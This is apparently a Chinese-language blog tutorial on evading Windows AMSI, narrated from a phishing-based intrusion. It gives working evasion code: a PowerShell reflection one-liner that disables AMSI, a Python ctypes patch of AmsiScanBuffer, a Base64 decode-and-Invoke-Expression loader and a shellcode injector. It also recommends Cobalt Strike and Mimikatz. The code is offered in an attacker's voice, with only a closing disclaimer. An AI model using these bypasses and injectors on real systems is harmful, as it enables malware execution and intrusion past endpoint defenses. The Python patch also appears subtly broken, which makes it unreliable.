一、一次失败的渗透测试:AMSI拦截让我无功而返

那是一次典型的企业内网渗透场景。我通过钓鱼邮件成功获取到一台开发人员的主机权限,满心期待能利用 PowerShell 来加载我的远控木马。然而,当我尝试执行恶意脚本时,所有的操作都被 Windows 的防御系统拦下了,弹窗提示“AMSI 检测到恶意内容”。眼看着已经到嘴的肉被死死拦住,我意识到绕过 AMSI 是接下来渗透的关键一环。

黑客示意图

AMSI(Anti-Malware Scan Interface) 是 Windows 提供的一种反恶意软件接口,主要通过拦截恶意脚本的执行,来阻止攻击者进一步操作。这篇文章将带你深入分析 AMSI 的工作原理,并分享多种绕过技术,让你重新掌控渗透的主动权。

---

二、认识 AMSI:它是如何拦截恶意代码的?

AMSI 的核心工作机制

AMSI 的工作流程非常清晰:它在 PowerShell 或其他脚本引擎执行前拦截脚本内容,将其传递给系统中的防病毒软件进行扫描。如果脚本被判定为恶意,执行就会被终止。

工作流程分解:

  1. 拦截脚本内容:通过 PowerShell 的 System.Management.Automation 类。
  2. 传递防病毒扫描:调用系统中注册的反恶意软件引擎进行实时检测。
  3. 阻断恶意代码:如果检测结果为“恶意”,脚本执行会被终止。

为什么我们需要绕过 AMSI?

作为攻击者,AMSIs 的强健机制意味着我们无法直接执行恶意代码。这种拦截机制拦住了绝大多数常见的攻击载荷,包括:

  • PowerShell 加载的恶意模块。
  • 想要在内存中执行的远控木马。
  • 像 Mimikatz 这类工具的直接加载。

绕过 AMSI,将为攻击者释放极大的操作空间,直接关系到渗透的成败。

---

三、Payload构造的艺术:绕过 AMSI 的多种思路

绕过 AMSI 的技术可以分为两个主要方向:

  1. 修改 AMSI 的行为:通过内存篡改或动态加载,篡改 AMSI 的功能。
  2. 模糊化恶意代码:通过加密、编码等方式躲避检测。

技术一:内存篡改绕过 AMSI

核心思路:通过直接修改内存中的 AMSI 函数,让它失效或者永远返回“安全”。

以下是一个经典的 PowerShell 绕过代码(Python 版稍后提供):

<pre><code class="language-powershell"># PowerShell绕过AMSI的代码 [Ref].Assembly.GetType(&quot;System.Management.Automation.AmsiUtils&quot;).GetField(&quot;amsiInitFailed&quot;, &quot;NonPublic, Static&quot;).SetValue($null, $true)</code></pre>

工作原理

  • System.Management.Automation.AmsiUtils 是 AMSI 检测的核心类。
  • amsiInitFailed 是一个内部变量,控制 AMSI 是否被初始化。
  • amsiInitFailed 强制设置为 true,AMSIs 的功能就会被完全禁用。

Python 实现类似的效果,可以直接调用 Windows API 来篡改内存:

黑客示意图

<pre><code class="language-python">import ctypes

定义变量,用于指向AMSIs函数

amsi_dll = ctypes.WinDLL(&#039;amsi.dll&#039;) amsi_scan_buffer = amsi_dll.AmsiScanBuffer

修改内存:将返回值强制设置为0(表示安全)

def bypass_amsi(): ctypes.windll.kernel32.VirtualProtect(ctypes.byref(amsi_scan_buffer), 8, 0x40, ctypes.byref(ctypes.c_ulong())) patch = b&#039;\xC3&#039; # RET指令,直接让函数返回 ctypes.memmove(amsi_scan_buffer, patch, len(patch))

bypass_amsi() print(&quot;AMSI 已成功绕过!&quot;)</code></pre>

技术二:恶意代码模糊化

核心思路:通过加密或编码绕过 AMSI 的恶意代码检测。PowerShell 本身对加密和解密支持非常友好。

以下是一个 Base64 编码绕过的示例:

<pre><code class="language-powershell"># 用Base64编码你的恶意代码 $payload = &quot;Your Base64 Encoded Payload&quot; $decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) Invoke-Expression $decoded</code></pre>

这种方法虽简单,但仍然有效,因为 AMSI 的检测能力更集中于直接执行的脚本内容。通过解码后执行,可以有效规避初步检测。

黑客示意图

---

四、实战环境搭建:从测试到验证

为了验证绕过 AMSI 的效果,我们需要搭建一个安全测试环境。

环境准备

  • 操作系统:Windows 10
  • 必要工具:
  • Python 3.x
  • PowerShell(建议安装最新版本)
  • Cobalt Strike 或 Metasploit,用于加载测试载荷

配置步骤

  1. 关闭防病毒软件:防止其他干扰。
  2. 确保 AMSI 启用:验证 AmsiUtils 是否处于激活状态。
  3. 测试脚本注入:通过 PowerShell 或 Python 执行绕过脚本。

验证绕过效果

运行以下 PowerShell 和 Python 代码后,可以加载一个简单的恶意模块(如 Mimikatz),验证是否能成功执行。

---

五、绕过技巧进阶:对抗高级检测手段

AMSI 绕过只是一部分,很多防病毒软件还会结合其他机制,比如行为分析或启发式检测。以下是几个进阶对抗技巧:

1. 代码混淆

通过工具(如 Obfuscator.io)对恶意代码进行混淆,增加检测难度。

2. 内存加载

将恶意代码加载到内存中执行,无需写入磁盘。例如使用 reflective DLL 技术加载:

<pre><code class="language-python">import ctypes

将恶意代码直接注入内存

shellcode = b&#039;\x90\x90\x90...&#039; # 你的恶意载荷 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.memmove(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))</code></pre>

3. 使用第三方 C2 工具

如 Cobalt Strike 或 Sliver,可以结合内存注入技术进一步规避 AMSI 的干扰。

---

六、个人经验分享:如何在压力中突破防御?

保持多样性:单一的绕过方式可能很快失效,必须掌握多种技术,包括内存篡改、代码混淆和动态加载。

黑客示意图

动态调整策略:安全软件的检测规则会不断更新,作为攻击者,我们必须时刻调整自己的工具链。

工具的选型:结合 Cobalt Strike 的模块化功能,可以动态生成绕过 AMSI 的载荷,极大提升渗透效率。

---

七、合法声明与责任提醒

本文所有内容仅供安全研究与授权测试使用,严禁用于非法目的。AMSIs 是一个强大的防御工具,进一步研究它的绕过技术旨在帮助安全人员设计更强大的防御体系。未经许可的攻击行为将面临法律严惩。